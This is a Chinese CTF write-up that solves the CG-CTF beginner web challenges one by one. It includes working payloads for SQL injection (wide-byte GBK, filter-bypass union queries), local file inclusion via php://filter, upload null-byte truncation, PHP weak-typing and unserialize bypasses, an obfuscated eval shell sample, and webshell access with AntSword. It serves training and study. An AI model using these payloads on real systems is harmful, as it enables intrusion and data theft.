写在前面:
作为一名web新手,刷题是很有必要的,而CG-CTF是一个适合新手的做题平台,下面是我对于CG-CTF Web部分的解题思路,希望对大家有所帮助,如有欠缺,欢迎大家进行补充。
CG-CTF Web-Writeup
地址:https://cgctf.nuptsast.com/challenges#Web
0x01 签到题(题目地址:http://chinalover.sinaapp.com/web1/ )
直接F12,可得到flag
0x02 md5 collision(题目地址:http://chinalover.sinaapp.com/web19/ )
题目提供了源码。
源码(PHP)
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
考察PHP弱类型以及md5函数漏洞
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常见的payload有:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
构造payload:?a=240610708
,出flag
0x03 签到2(题目地址:http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php )
提示输入zhimakaimen,输入后无反应,再F12查看源码:
发现输入框的maxlength=“10”,此时可以修改前端的maxlength,再次输入口令拿到flag
0x04 这题不是WEB(题目地址:http://chinalover.sinaapp.com/web2/index.html )
一道简单的信息隐藏题,一进来只有一张图片,F12后可知图片名为2.gif
,下载后将后缀名改为.txt
。flag藏在文件末尾。
0x05 层层递进(题目地址:http://chinalover.sinaapp.com/web3/ )
正如题目所述,层层递进。
解法一:
F12,发现SO.html
,查看后发现S0.html
,继续查看发现SO.htm
,继续查看发现S0.htm
,最后发现404.html
,进入后翻开源码找到flag,需要竖着看!
解法二:
直接抓包,在404.html
文件中找到flag。
0x06 AAencode(题目地址:http://homura.cc/CGfiles/aaencode.txt )
题目提示:javascript aaencode
打开后是乱码,用utf-8编码查看,发现是一堆颜文字。
其实是javascript的加密工具aaencode可以把js转为颜文字符号。
直接ctrl c +ctrl v
丢进控制台执行,出来flag。
0x07 单身二十年(题目地址:http://chinalover.sinaapp.com/web8/ )
拼手速自然是不可能点出来的。
直接抓包就可以找到flag。
0x08 php decode(无地址)
题目源码:
见到的一个类似编码的shell,请解码
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode ($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
我们保存后直接运行代码,会报出eval
语法错误,将 eval
改为echo
试着输出解码后的结果,可以直接得到flag。
0x09 文件包含(题目地址:http://4.chinalover.sinaapp.com/web7/index.php )
题目提示:LFI
文件包含题目,使用伪协议php://filter
,通过index.php?file=php://filter/convert.base64-encode/resource=
分别查看index.php
和show.php
,解码后发现flag在index.php
的末尾。
0x10 单身一百年也没用(题目地址:http://chinalover.sinaapp.com/web9/ )
单身100年也没用了,看见这种话就直接抓包,用Chrome自带的抓包,发现index.php
文件,flag就在响应头中。
0x11 Download~!(die!)
0x12 COOKIE(题目地址:http://chinalover.sinaapp.com/web10/index.php )
题目提示:TIP: 0==not
截包,修改cookie的值为1即可。
0x13 MYSQL(题目地址:http://chinalover.sinaapp.com/web11/ )
robots.txt
是一种爬虫协议,通常存放在根目录下,首先查看robots.txt
文件。
出现代码:
主要考察intval()
函数的用法,php官网解释为:获取变量的整数值
,所以此题要绕过,需要给id
传入整数部分为1024,小数部分为不为0的值即可绕过。注意到是传入sql.php
文件中。
构造payload:http://chinalover.sinaapp.com/web11/sql.php?id=1024.001
,得到flag。
0x14 GBK Injection(题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 )
本题考察宽字节注入。
当尝试id=1'
时,发现'
被转义了,在URL中%df
与\
结合会变成運
,现在我们闭合了id
的值,接下来在最后使用#
,--+
或--空格
来注释掉最后一个'
。
接下来,依次进行爆破。
- 判断sql注入的字段数量,有两个字段。
id=-1%df' order by 1%23
,回显正常。id=-1%df' order by 2%23
,回显正常。id=-1%df' order by 3%23
,回显错误。 - 判断哪个字段是有效字段,第二个字段有效。
id=-1%df' union select 1,2%23
,回显2 - 爆破数据库,数据库为
sae-chinalover
。id=-1%df' union select 1,database()%23
- 爆破表名,表名为
ctf,ctf2,ctf3,ctf4,gbksqli,news
。id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
- 依次爆破各个表单下的字段名,发现ctf4有列名为flag。(注意!!!:后端过滤掉了表单名)
id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
- 最后爆破flag。
id=-1%df' union select 1,flag from ctf4%23
0x15 /x00(题目地址:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php )
此题考查ereg()
函数绕过,有两种方法。
利用%00截断
或数组
绕过。
?nctf=1%00%23biubiubiu
?nctf[]=%23biubiubiu
0x16 bypass again(题目地址:http://chinalover.sinaapp.com/web17/index.php )
此题和0x02相似,都是考察PHP弱类型。
有两种解法:
?a=240610708&b=QNKCDZO #利用哈希值。
?a[]=&b[]=111 #利用md5()不能处理数组。
0x17 变量覆盖(题目地址:http://chinalover.sinaapp.com/web18/index.php )
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
extract()函数的$extract_type缺省值为1,若没有另外指定,函数将覆盖已有变量。
所以传入pass
和thepassword_123
相等即可。
0x18 PHP是世界上最好的语言(die!)
0x19 伪装者(http://chinalover.sinaapp.com/web4/xxx.php )
根据题目意思,需要伪装在本地登陆。可能要用到client-ip
或者x-forwarded-for
。
截包,添加字段client-ip:127.0.0.1
。获得flag。
0x20 Header(die!)
0x21 上传绕过(题目地址:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html )
首先随便上传一个文件,提示要上传jpg,gif,png后缀的文件
,再上传.jpg
文件,又要求上传.php
文件,上传.php
时,又出了问题。
首先,手动构造一个1.php.jpg
文件,然后抓包。利用00
截断上传绕过。
原理:00截断是文件后缀名就一个%00字节,可以截断某些函数对文件名的判断,在许多语言函数中,处理字符串的函数中0x00被认为是终止符。
在二进制编码中找到文件的位置,将php后面的值改为00
,然后GO一下就得到flag
0x22、SQL注入1(题目地址:http://chinalover.sinaapp.com/index.php )
题目给出源代码:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
此题为SQL注入,主要在于拼接sql语句的时候能够查询出user为admin的结果,此处只需要闭合user参数并注释掉后面的语句即可。
构造payload:
拿到flag
0x23、pass check(题目地址:http://chinalover.sinaapp.com/web21/ )
题目给出了源代码:
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
考察strcmp()
弱类型,传入数组时会返回null。所以post
的数据为pass[]=1
可以获取flag
0x24、起名字真难(题目地址:http://chinalover.sinaapp.com/web12/index.php )
题目给出了源码:
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
分析源码可得知:传入key
的值中不能包含1-9
的数字,但要和54975581388
相等,此处转化为十六进制0xccccccccc
即可获取到flag。
0x25、密码重置(题目地址:(http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==) )
在post
传参时发现还有get
传参的user1
,初始值为ctfuser
经过base64编码
的值,题目要求修改user=admin
的密码,所以将user1
的值改为admin
的base64编码
加密后的值YWRtaW4=
,user
的值改为admin
。即可获取flag。
0x26、php 反序列化(题目地址:http://4.chinalover.sinaapp.com/web25/index.php )
题目给出源代码:
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
本题考点在于反序列化后,secret会被重新赋值为一个未知的值,但要求enter跟secret的值一致才能拿到flag。
这里主要考察一个知识点:对象包含的引用在序列化时也会被存储。
我们通过将secret的引用赋值给enter,这样就可以同步变化,绕过验证。
编写脚本:
<?php
class just4fun {
var $enter;
var $secret;
}
$exp = new just4fun();
$exp -> enter = &$exp -> secret;
$pass = serialize($exp);
print_r($pass);
?>
得到payload:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
但是没有flag。题目提示目前没法做,可能就是原因。
0x27、SQL Injection(题目地址:http://chinalover.sinaapp.com/web15/index.php )
题目提示:TIP:反斜杠可以用来转义 仔细查看相关函数的用法。
用view-source
查看源码。
stripslashes
函数用于去掉\
,返回一个去除转义反斜线后的字符串(\‘ 转换为 ‘ 等等)。双反斜线(\\)被转换为单个反斜线(\)。
htmlentities — 将字符转换为 HTML 转义字符
由于htmllentities
函数会使'
失效,所以我们无法闭合源代码中的'
,根据题目提示灵活使用转义字符\
。
拿出SQL注入语句'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'
来分析。
首先name=后面的’'‘将第一个'
转移,剩下的'
作为语句开头。
接下来到了问题关键处,pass=后面只能转义一个'
,所以剩下的那个'
只能作为语句的闭合标志。因此我们需要将$username后面的'
全部转义。这里就要用到’'。
接下来就简单了,构造payload:?username=admin \&password=or 1=1%23
传入的SQL语句变为:SELECT * FROM users WHERE name='admin \' AND pass=' or 1=1
得到flag。
0x28、综合题(题目地址:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php )
进入题目出现一堆代码,经查看后,是jsfuck,可以直接丢进控制台运行。得到1bc29b36f623ba82aaf6724fd3b16718.php
,查看这个文件,提示TIP在脑袋里。
脑袋———header,在header中找到tip
提示history of bash
,是指让我们去查看根目录下的.bash_history
文件。
得到压缩命令:zip -r flagbak.zip ./*
我们下载flagbak.zip
文件,找到其中的flag.txt
文件打开得到flag。
0x29 system(die!)
0x30 SQL注入2(题目地址:http://4.chinalover.sinaapp.com/web6/index.php )
首先查看题目给出的源码:
分析代码:
- 题目提示主要考察union查询
- 用post方法传入user和pass变量。
- 传入的pass变量经过md5()加密。
- query[pw]中储存的是结果。
- 如果query[pw]中的结果与pass相等,即可得到flag
- 既然我们不知道结果中有什么,那么就构造一个结果来利用。
构造payload:
user='union select md5(1)# #开头'用于闭合user前面的',后面的#用于注释掉后面的'
pass=1 #对应md5(1)
0x31综合题2(题目地址:http://cms.nuptzj.cn/ )
进入题目是一块留言板,先随便玩玩。
先来看留言搜索,输入1试试,
提示“只有用本公司开发的的浏览器”,猜想可能用到user-agent
,但是我们并不知道到底是什么浏览器,所以继续往下看。
接下来看留言,猜想此处可能存在xss
或sql
注入,先随便输入试试。
出题人说自己也不会xss
,所以排除xss。
确认提交后,提示页码源代码中有惊喜!
我们用view-source
查看网页源码,在第58行,发现"./about.php?file=sm.txt"
。
点开后,我们可以看到sm.txt
文件的内容,很明显,此题存在文件包含
漏洞。
sm.txt
文件中给出了两个提示:
- 一个是
admin表结构 create table admin ( id integer, username text, userpass text, )
这更加坚定了存在SQL注入。然后也没有什么有用的信息了。 - 另一个是许多文件: config.php,index.php,passencode.php,say.php,不要忘了还有about.php。
再次返回留言板,最底部还有一个本CMS说明
可以打开。还是sm.txt
现在我们可以利用文件包含漏洞读取上面找出的文件,先查看index.php
。
这样的代码可读性很差,我们可以利用python
中的BeautifulSoup
库来整理代码。编写脚本:
import requests
from bs4 import BeautifulSoup
url = "http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php","passencode.php","config.php","say.php","so.php""about.php"]
for i in file_list:
r = requests.get(url+i)
print("download"+i)
if r.status_code==200:
r.encoding = "utf-8"
r = BeautifulSoup(r.text,"html.parser")
print(r)
关于BeautifulSoup库
的使用可以参考我的另一篇blog–Python-requests 模块学习
的相关连接。
先看index.php:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}
发现config.php
和loginxlcteam
。我们看看这个loginxlcteam
是什么。
发现Xlcteam留言板系统后台登录。
不出意外,应该就是在这里SQL注入,但是条件还没有成熟。
此时想到之前so.php
中提到只有本公司开发的浏览器才能用。我们来查看so.php
中的内容。
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
!这里才是SQL注入的地方
第2行代码,推出当$_SERVER['HTTP_USER_AGENT']=="Xlcteam Browser"
才可以通过。接着往下看,第8行有防止SQL注入的antiinject.php
文件。
查看antiinject.php
文件。
<?php
function antiinject($content) {
$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
$info = strtolower($content);
for ($i = 0;$i <= count($keyword);$i++) {
$info = str_replace($keyword[$i], '', $info);
}
return $info;
}
?>
发现了文件中过滤了很多关键字。我们可以通过双写绕过或者=
绕过,空格可以用/**/
绕过。
开始SQL注入
- 首先注意在header中将
User-Agent
设置为Xlcteam Browser
。 - 先找出有效的注入字段,payload:
soid=0/**/an=d/**/1/**/uni=on/**/sele=ct/**/1,2,3,4
,回显2和3,说明2,3处可以注入。 - 之前我们已经知道了admin表的结果,所以直接注入。payload:
soid=0/**/an=d/**/1/**/uni=on/**/sele=ct/**/1,2,(sele=ct/**/group_concat(userp=ass)/**/fr=om/**/adm=in),4
。 - 回显
102 117 99 107 114 117 110 116 117
,这是userpass的ASCII编码,解码得fuckruntu
。 - 我们去后台登录。
接下来考察一句话木马,提供了文件名,查看文件。
直接使用蚁剑:
url : http://cms.nuptzj.cn/xlcteam. php?www=preg_replace
pass : wtf
查看后台文件,即可获得flag。
0x32密码重置2(题目地址:http://nctf.nuptzj.cn/web14/index.php )
TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass
先了解Linux下的备份文件:
vim的特性,自动备份:
一、vim备份文件
默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
eg:index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~
二、vim临时文件
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件
.submit.swp。如果文件正常退出,则此文件自动删除。
- 需要用post方式传入email和token。
- 先找email,F12源码中找到管理员邮箱
admin@nuptzj.cn
。 - 再找token,在
.submit.php.swp
文件下发现源码。
- 分析源码可知:token必须等于0,长度必须为10,可以推出
token=0000000000
。 - 最后传入
email
和token
。 - 得到
flag:nctf{thanks_to_cumt_bxs}
0x33 file_get_contents(题目地址:http://chinalover.sinaapp.com/web23/ )
什么都没有,view-soure
查看源码。
先了解file_get_contents()
函数。
绕过file_get_contents()
函数共有两种方法:
一、使用Data URI scheme (data: base64) 协议。
#常用格式有:
1、 data:,<文本数据>
2、 data:text/plain,<文本数据>
3、 data:text/html,<HTML代码>
4、 data:text/html;base64,<base64编码的5、HTML代码>
6、 data:text/css,<CSS代码>
7、 data:text/css;base64,<base64编码的CSS代码>
8、 data:text/javascript,<Javascript代码>
9、 data:text/javascript;base64,<base64编码的Javascript代码>
10、data:image/gif;base64,base64编码的gif图片数据
11、data:image/png;base64,base64编码的png图片数据
12、data:image/jpeg;base64,base64编码的jpeg图片数据
13、data:image/x-icon;base64,base64编码的icon图片数据
构造payload:
?file=data:,meizijiu
?file=data:text/plain,meizijiu
二、二、使用伪协议php://input
,再通过POST
方法传入"meizijiu"
构造payload:
得到flag
0x34 变量覆盖(题目地址:http://chinalover.sinaapp.com/web24/ )
先用view-source
查看源码
只需要name=="meizijiu233"
即可得到flag。
利用$$key=$value
,传入name=meizijiu233
可以覆盖掉name
原来的值,使条件成立。
payload:?name=meizijiu233
0x35 注意(直接提供flag)
写在后面:
这些题目只是web入门级别的,接下来就要向更难的题目进发!!!